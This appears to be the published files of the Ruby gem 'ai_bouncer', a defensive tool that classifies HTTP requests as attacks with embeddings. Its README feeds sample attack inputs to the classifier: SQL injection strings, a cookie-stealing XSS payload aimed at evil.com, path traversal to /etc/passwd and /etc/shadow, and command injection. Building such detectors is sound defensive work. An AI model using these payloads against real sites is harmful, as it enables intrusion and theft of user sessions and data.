ai_bouncer 0.9.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: c2a072917e797b85ac093208f69570b74484953862798ee4ff7225094014b2ed
+  data.tar.gz: 955abb9f068b1f9d987cb7c7a721c9e217f155d17122bfc71af08d12270e3114
+SHA512:
+  metadata.gz: 672305a2780b60b00bb2fd894b01695a921f23386de7346ba12e6592efcf317d3c4052c6f3bd8d15c8933be1a4a3b69747822799330a27eb60f93535719d50f5
+  data.tar.gz: b2e0a367c5f93753bfc223189d33b9e9faa2e7a95be32408cb95ad9a30232331b7369030fc08040db920fe19c623a5e8c58e85eaed36f0acb993e83b2477df03

data/CHANGELOG.md

@@ -0,0 +1,55 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [0.9.0] - 2025-01-17
+
+### Added
+
+- **Core Classification Engine**
+  - Model2Vec-based text embeddings via ONNX Runtime
+  - KNN classifier with cosine similarity for attack detection
+  - Support for 8 attack types: SQLi, XSS, path traversal, command injection, credential stuffing, spam bots, scanners, and clean traffic
+
+- **Rails Integration**
+  - Rack middleware for automatic request classification
+  - Controller concern with `protect_from_attacks` DSL
+  - Configurable actions: `:block`, `:log`, `:challenge`
+  - Callbacks for attack detection and monitoring
+
+- **Storage Options**
+  - In-memory mode (default): ~2ms latency, ~30MB RAM
+  - Database mode: PostgreSQL + pgvector via neighbor gem
+
+- **Auto-Download**
+  - Model files automatically downloaded from HuggingFace on first use
+  - Hosted at [huggingface.co/khasinski/ai-bouncer](https://huggingface.co/khasinski/ai-bouncer)
+
+- **Generators**
+  - `rails generate ai_bouncer:install` - Creates initializer
+  - `rails generate ai_bouncer:migration` - Creates pgvector migration
+
+- **Rake Tasks**
+  - `ai_bouncer:download` - Download model files
+  - `ai_bouncer:seed` - Seed database with attack patterns
+  - `ai_bouncer:stats` - Show pattern statistics
+  - `ai_bouncer:test` - Test classification
+  - `ai_bouncer:benchmark` - Benchmark performance
+
+### Model
+
+- 3,053 attack pattern vectors
+- Trained on SecLists, CSIC 2010, ModSecurity CRS, and real nginx logs
+- 92%+ accuracy on test set
+
+## [Unreleased]
+
+### Planned
+
+- Rate limiting integration
+- IP reputation scoring
+- Custom pattern training interface
+- Prometheus metrics export

data/LICENSE.txt

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2025 Chris Hasinski
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

data/README.md

@@ -0,0 +1,449 @@
+# AiBouncer
+
+[![CI](https://github.com/khasinski/ai_bouncer/actions/workflows/ci.yml/badge.svg)](https://github.com/khasinski/ai_bouncer/actions/workflows/ci.yml)
+[![Gem Version](https://badge.fury.io/rb/ai_bouncer.svg)](https://badge.fury.io/rb/ai_bouncer)
+
+AI-powered HTTP request classification for Ruby on Rails. Detect credential stuffing, SQL injection, XSS, and other attacks using ML embeddings.
+
+## Features
+
+- **Fast**: ~2ms inference time (memory mode)
+- **Lightweight**: ~31MB total model size
+- **Accurate**: 92%+ detection rate on common attacks
+- **Flexible Storage**: In-memory or PostgreSQL + pgvector
+- **Easy to integrate**: Drop-in middleware or controller concern
+- **Configurable**: Protect specific paths, customize responses
+
+## Attack Types Detected
+
+- SQL Injection (SQLi)
+- Cross-Site Scripting (XSS)
+- Path Traversal
+- Command Injection
+- Credential Stuffing
+- Spam Bots
+- Vulnerability Scanners
+
+## Requirements
+
+- Ruby >= 3.2 (required by onnxruntime)
+- Rails 6.1+ (optional, for middleware/concern integration)
+
+## Installation
+
+Add to your Gemfile:
+
+```ruby
+gem 'ai_bouncer'
+
+# Optional: for database storage mode
+gem 'neighbor'
+```
+
+Then run the installer:
+
+```bash
+bundle install
+rails generate ai_bouncer:install
+```
+
+This creates `config/initializers/ai_bouncer.rb`. Model files (~31MB) are **auto-downloaded** on first request.
+
+### Manual Download (Optional)
+
+If you prefer to bundle model files with your app:
+
+```bash
+# Download from HuggingFace
+pip install huggingface_hub
+huggingface-cli download khasinski/ai-bouncer --local-dir vendor/ai_bouncer
+
+# Disable auto-download in initializer
+config.auto_download = false
+```
+
+## Storage Modes
+
+### Memory Mode (Default)
+
+Vectors are kept in memory. Fast and simple.
+
+```ruby
+config.storage = :memory
+```
+
+**Pros**: ~2ms latency, no database required
+**Cons**: ~31MB RAM usage, patterns fixed at deploy time
+
+### Database Mode
+
+Vectors are stored in PostgreSQL using pgvector.
+
+```ruby
+config.storage = :database
+```
+
+**Pros**: Scalable, add custom patterns at runtime, persistent
+**Cons**: ~5ms latency, requires pgvector
+
+#### Database Setup
+
+1. Install pgvector: https://github.com/pgvector/pgvector
+
+2. Generate and run migration:
+```bash
+rails generate ai_bouncer:migration
+rails db:migrate
+```
+
+3. Seed the bundled patterns:
+```bash
+rails ai_bouncer:seed
+```
+
+4. Verify:
+```bash
+rails ai_bouncer:stats
+```
+
+## Configuration
+
+```ruby
+# config/initializers/ai_bouncer.rb
+
+AiBouncer.configure do |config|
+  config.enabled = Rails.env.production?
+  config.storage = :memory  # or :database
+
+  # Paths to protect (for middleware)
+  config.protected_paths = [
+    "/login",
+    "/register",
+    "/api/*",
+  ]
+
+  # Action when attack detected
+  config.action = :block  # :block, :challenge, or :log
+  config.threshold = 0.3
+
+  # Model files location
+  config.model_path = Rails.root.join("vendor", "ai_bouncer")
+
+  # Callback for monitoring
+  config.on_attack_detected = ->(request:, classification:, action:) {
+    Rails.logger.warn "Attack: #{classification[:label]} from #{request.ip}"
+  }
+end
+```
+
+## Usage
+
+### Option 1: Middleware (Automatic)
+
+The middleware automatically protects configured paths. It extracts method, path, body, user-agent, and params from Rails requests - no manual formatting needed:
+
+```ruby
+# A request like this:
+# POST /login HTTP/1.1
+# User-Agent: Mozilla/5.0...
+# Content-Type: application/x-www-form-urlencoded
+#
+# username=admin'--&password=x
+
+# Is automatically classified as:
+# => { label: "sqli", confidence: 0.94, is_attack: true }
+```
+
+### Option 2: Controller Concern (Fine-grained)
+
+For more control, use the controller concern:
+
+```ruby
+class SessionsController < ApplicationController
+  include AiBouncer::ControllerConcern
+
+  # Protect all actions
+  protect_from_attacks
+
+  # Or protect specific actions with custom options
+  protect_from_attacks only: [:create],
+                       threshold: 0.5,
+                       action: :block
+end
+```
+
+Or check manually:
+
+```ruby
+class PaymentsController < ApplicationController
+  include AiBouncer::ControllerConcern
+
+  def create
+    check_for_attack  # Blocks if attack detected
+
+    # Normal flow continues...
+  end
+end
+```
+
+### Option 3: Manual Classification
+
+```ruby
+result = AiBouncer.classify(
+  AiBouncer.request_to_text(
+    method: "POST",
+    path: "/login",
+    body: "username=admin'--&password=x",
+    user_agent: "python-requests/2.28"
+  )
+)
+
+result
+# => {
+#   label: "sqli",
+#   confidence: 0.94,
+#   is_attack: true,
+#   latency_ms: 2.1
+# }
+```
+
+## Adding Custom Patterns (Database Mode)
+
+```ruby
+# Add a pattern for a specific attack you've seen
+embedding = AiBouncer.model.embed("POST /admin.php?cmd=wget...")
+
+AiBouncer::AttackPattern.create!(
+  label: "scanner",
+  severity: "high",
+  embedding: embedding,
+  sample_text: "POST /admin.php?cmd=wget...",
+  source: "incident_2024_01"
+)
+```
+
+## Rake Tasks
+
+```bash
+# Download model files manually (auto-download is enabled by default)
+rails ai_bouncer:download
+
+# Seed bundled patterns into database (database mode only)
+rails ai_bouncer:seed
+
+# Show statistics
+rails ai_bouncer:stats
+
+# Test classification
+rails ai_bouncer:test
+
+# Benchmark performance
+rails ai_bouncer:benchmark
+```
+
+## Real-World Examples
+
+### SQL Injection
+
+```ruby
+# Authentication bypass
+AiBouncer.classify("POST /login username=admin' OR '1'='1 password=x")
+# => { label: "sqli", confidence: 0.94, is_attack: true }
+
+# UNION-based data extraction
+AiBouncer.classify("GET /users?id=1 UNION SELECT username,password FROM users--")
+# => { label: "sqli", confidence: 0.96, is_attack: true }
+
+# Blind SQL injection
+AiBouncer.classify("GET /products?id=1 AND SLEEP(5)")
+# => { label: "sqli", confidence: 0.91, is_attack: true }
+```
+
+### Cross-Site Scripting (XSS)
+
+```ruby
+# Script injection in comments
+AiBouncer.classify("POST /comments body=<script>document.location='http://evil.com/steal?c='+document.cookie</script>")
+# => { label: "xss", confidence: 0.96, is_attack: true }
+
+# Event handler injection
+AiBouncer.classify("POST /profile bio=<img src=x onerror=alert('XSS')>")
+# => { label: "xss", confidence: 0.93, is_attack: true }
+
+# SVG-based XSS
+AiBouncer.classify("POST /upload filename=<svg onload=alert(1)>.svg")
+# => { label: "xss", confidence: 0.89, is_attack: true }
+```
+
+### Credential Stuffing
+
+```ruby
+# Automated login attempts with browser-like UA (common in credential stuffing botnets)
+AiBouncer.classify("POST /wp-login.php UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120")
+# => { label: "credential_stuffing", confidence: 0.94, is_attack: true }
+
+# High-frequency login pattern
+AiBouncer.classify("POST /wp-login.php UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) Chrome/119")
+# => { label: "credential_stuffing", confidence: 0.92, is_attack: true }
+```
+
+### Spam Bots
+
+```ruby
+# Comment spam with referrer pattern
+AiBouncer.classify("POST /wp-comments-post.php REF:https://example.com/blog/article UA:Mozilla/5.0 (Windows NT 6.3) Chrome/103")
+# => { label: "spam_bot", confidence: 0.91, is_attack: true }
+
+# Old browser version (common in botnets)
+AiBouncer.classify("POST /contact UA:Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/56.0.2924.87")
+# => { label: "spam_bot", confidence: 0.87, is_attack: true }
+```
+
+### Vulnerability Scanners
+
+```ruby
+# WordPress plugin scanning with bot UA
+AiBouncer.classify("GET /wp-content/plugins/register-plus-redux UA:Mozilla/5.0 Chrome/126")
+# => { label: "scanner", confidence: 0.89, is_attack: true }
+
+# Registration page probing with bot UA
+AiBouncer.classify("GET /wp-login.php?action=register UA:Go-http-client/2.0")
+# => { label: "scanner", confidence: 0.85, is_attack: true }
+```
+
+> **Note**: Scanner detection works best when combined with user-agent analysis. Pure path scanning without suspicious UA may be classified as other attack types.
+
+### Path Traversal
+
+```ruby
+# Directory traversal to read system files
+AiBouncer.classify("GET /files?path=../../../etc/passwd")
+# => { label: "path_traversal", confidence: 0.89, is_attack: true }
+
+# Encoded traversal
+AiBouncer.classify("GET /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow")
+# => { label: "path_traversal", confidence: 0.87, is_attack: true }
+
+# Windows path traversal
+AiBouncer.classify("GET /files?name=....\\....\\....\\windows\\system32\\config\\sam")
+# => { label: "path_traversal", confidence: 0.86, is_attack: true }
+```
+
+### Command Injection
+
+```ruby
+# Shell command in parameter
+AiBouncer.classify("GET /ping?host=127.0.0.1;cat /etc/passwd")
+# => { label: "command_injection", confidence: 0.93, is_attack: true }
+
+# Backtick injection
+AiBouncer.classify("POST /convert filename=`whoami`.pdf")
+# => { label: "command_injection", confidence: 0.90, is_attack: true }
+
+# Pipeline injection
+AiBouncer.classify("GET /search?q=test|ls -la")
+# => { label: "command_injection", confidence: 0.88, is_attack: true }
+```
+
+### Clean Requests (No False Positives)
+
+```ruby
+# Normal login
+AiBouncer.classify("POST /login username=john.doe@example.com password=secretpass123")
+# => { label: "clean", confidence: 0.92, is_attack: false }
+
+# Normal API request
+AiBouncer.classify("GET /api/users/123")
+# => { label: "clean", confidence: 0.91, is_attack: false }
+
+# Paginated API request
+AiBouncer.classify("GET /api/products?page=1&limit=20")
+# => { label: "clean", confidence: 0.99, is_attack: false }
+
+# Normal form submission
+AiBouncer.classify("POST /contact name=John Smith&email=john@example.com&message=Hello")
+# => { label: "clean", confidence: 0.95, is_attack: false }
+```
+
+## Classification Result
+
+```ruby
+{
+  label: "sqli",           # Attack type or "clean"
+  confidence: 0.94,        # 0.0 - 1.0
+  is_attack: true,         # Boolean
+  latency_ms: 2.1,         # Inference time
+  storage: :memory,        # or :database
+  nearest_distance: 0.06,  # Distance to nearest pattern
+  neighbors: [             # K nearest neighbors
+    { label: "sqli", distance: 0.06 },
+    { label: "sqli", distance: 0.08 },
+    ...
+  ]
+}
+```
+
+## Performance
+
+Benchmarks on Apple Silicon:
+
+| Mode | Mean | P50 | P99 |
+|------|------|-----|-----|
+| Memory | 2ms | 2ms | 3ms |
+| Database | 5ms | 4ms | 8ms |
+
+## Model Files
+
+Model is hosted on HuggingFace: [khasinski/ai-bouncer](https://huggingface.co/khasinski/ai-bouncer)
+
+Auto-downloaded to `vendor/ai_bouncer/` on first request:
+
+| File | Size | Description |
+|------|------|-------------|
+| `embedding_model.onnx` | 29 MB | Model2Vec ONNX model |
+| `vocab.json` | 550 KB | Tokenizer vocabulary |
+| `vectors.bin` | 1.1 MB | Attack pattern vectors (memory mode) |
+| `labels.json` | 28 KB | Labels and metadata |
+
+## How It Works
+
+1. **Tokenize**: Request → Unigram tokens
+2. **Embed**: Tokens → 256-dim vector (Model2Vec via ONNX)
+3. **Search**: Find k=5 nearest attack patterns
+4. **Vote**: Weighted voting on attack type
+5. **Decide**: Block if confidence > threshold
+
+## Contributing Training Data
+
+**Help make AiBouncer better!** The model currently uses a small dataset (~1,000 patterns) derived from:
+- Public security payloads (SecLists, fuzzdb)
+- CSIC 2010 HTTP dataset
+- A sample of real nginx logs
+
+I'd love to gather more **real-world traffic data** to improve detection accuracy. If you have access to:
+
+- **Attack logs** - Blocked requests from your WAF, failed login attempts, spam submissions
+- **Clean traffic** - Normal API requests, legitimate form submissions
+- **False positives** - Requests that were incorrectly flagged as attacks
+
+Please consider contributing! You can:
+
+1. **Share anonymized logs** - Remove sensitive data (IPs, emails, passwords) and open an issue
+2. **Report misclassifications** - Let me know what the model gets wrong
+3. **Add labeled samples** - PRs with new attack patterns are welcome
+
+The more diverse real-world data we have, the better the model becomes for everyone.
+
+Contact: Open an issue at [github.com/khasinski/ai_bouncer](https://github.com/khasinski/ai_bouncer/issues)
+
+## License
+
+MIT License.
+
+## Contributing Code
+
+1. Fork it
+2. Create your feature branch
+3. Commit your changes
+4. Push to the branch
+5. Create a Pull Request

data/lib/ai_bouncer/attack_pattern.rb

@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+module AiBouncer
+  # ActiveRecord model for storing attack pattern vectors
+  # Uses pgvector via the neighbor gem for fast similarity search
+  #
+  # Usage:
+  #   # Find similar patterns
+  #   embedding = AiBouncer.model.embed("POST /login username=admin' OR '1'='1")
+  #   patterns = AiBouncer::AttackPattern.nearest_neighbors(:embedding, embedding, distance: "cosine").limit(5)
+  #
+  #   # Classify request
+  #   result = AiBouncer::AttackPattern.classify(embedding, k: 5)
+  #
+  class AttackPattern < ActiveRecord::Base
+    self.table_name = "attack_patterns"
+
+    # Include neighbor for vector similarity search
+    # Requires: gem "neighbor" in Gemfile
+    if defined?(Neighbor)
+      has_neighbors :embedding
+    end
+
+    ATTACK_LABELS = %w[sqli xss path_traversal command_injection credential_stuffing spam_bot scanner].freeze
+    SEVERITIES = %w[low medium high critical].freeze
+
+    validates :label, presence: true, inclusion: { in: ATTACK_LABELS + ["clean"] }
+    validates :severity, inclusion: { in: SEVERITIES }, allow_nil: true
+    validates :embedding, presence: true
+
+    scope :attacks_only, -> { where.not(label: "clean") }
+    scope :by_label, ->(label) { where(label: label) }
+    scope :by_severity, ->(severity) { where(severity: severity) }
+
+    # Classify an embedding using KNN voting
+    # Returns hash with label, confidence, neighbors, etc.
+    def self.classify(embedding, k: 5)
+      unless defined?(Neighbor)
+        raise AiBouncer::Error, "neighbor gem required for database classification. Add 'gem \"neighbor\"' to your Gemfile."
+      end
+
+      start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+
+      # Find k nearest neighbors using cosine distance
+      neighbors = nearest_neighbors(:embedding, embedding, distance: "cosine")
+                  .limit(k)
+                  .select(:id, :label, :severity, :sample_text)
+
+      # Get distances (neighbor gem returns them via neighbor_distance)
+      neighbor_data = neighbors.map do |n|
+        {
+          id: n.id,
+          label: n.label,
+          severity: n.severity,
+          distance: n.neighbor_distance,
+          similarity: 1.0 - n.neighbor_distance
+        }
+      end
+
+      result = compute_result(neighbor_data)
+
+      end_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+      result[:latency_ms] = ((end_time - start_time) * 1000).round(2)
+      result[:storage] = :database
+
+      result
+    end
+
+    # Batch import embeddings from bundled data
+    def self.seed_from_bundled_data!(model_path: nil)
+      model_path ||= AiBouncer.configuration.model_path
+      raise AiBouncer::ConfigurationError, "model_path not configured" unless model_path
+
+      vectors_path = File.join(model_path, "vectors.bin")
+      labels_path = File.join(model_path, "labels.json")
+
+      unless File.exist?(vectors_path) && File.exist?(labels_path)
+        raise AiBouncer::ModelNotFoundError, "Bundled data not found at #{model_path}"
+      end
+
+      # Load labels metadata
+      labels_data = JSON.parse(File.read(labels_path))
+      labels = labels_data["labels"]
+      severities = labels_data["severities"]
+      num_vectors = labels_data["num_vectors"]
+      dim = labels_data["dim"]
+
+      # Load vectors (binary float32)
+      data = File.binread(vectors_path)
+      floats = data.unpack("e*") # little-endian float32
+
+      vectors = []
+      floats.each_slice(dim) { |row| vectors << row }
+
+      # Clear existing data
+      delete_all
+
+      # Batch insert
+      records = vectors.each_with_index.map do |vec, i|
+        {
+          label: labels[i],
+          severity: severities[i],
+          embedding: vec,
+          source: "bundled",
+          created_at: Time.current,
+          updated_at: Time.current
+        }
+      end
+
+      # Insert in batches of 500
+      records.each_slice(500) do |batch|
+        insert_all(batch)
+      end
+
+      count
+    end
+
+    private
+
+    def self.compute_result(neighbors)
+      return { label: "clean", confidence: 0.0, is_attack: false } if neighbors.empty?
+
+      # Vote on label with distance weighting
+      votes = Hash.new(0.0)
+
+      neighbors.each do |n|
+        weight = n[:similarity]
+        votes[n[:label]] += weight
+      end
+
+      # Get winner
+      predicted_label = votes.max_by { |_, v| v }&.first || "clean"
+
+      # Compute confidence
+      nearest_distance = neighbors.first[:distance]
+      confidence = 1.0 - nearest_distance
+
+      # Adjust by voting margin
+      total_weight = votes.values.sum
+      winner_weight = votes[predicted_label]
+      voting_confidence = total_weight > 0 ? winner_weight / total_weight : 0
+
+      final_confidence = (confidence + voting_confidence) / 2
+
+      {
+        label: predicted_label,
+        confidence: final_confidence.round(4),
+        is_attack: predicted_label != "clean",
+        nearest_distance: nearest_distance.round(4),
+        neighbors: neighbors.map { |n| { label: n[:label], distance: n[:distance].round(4) } },
+        votes: votes.transform_values { |v| v.round(4) }
+      }
+    end
+  end
+end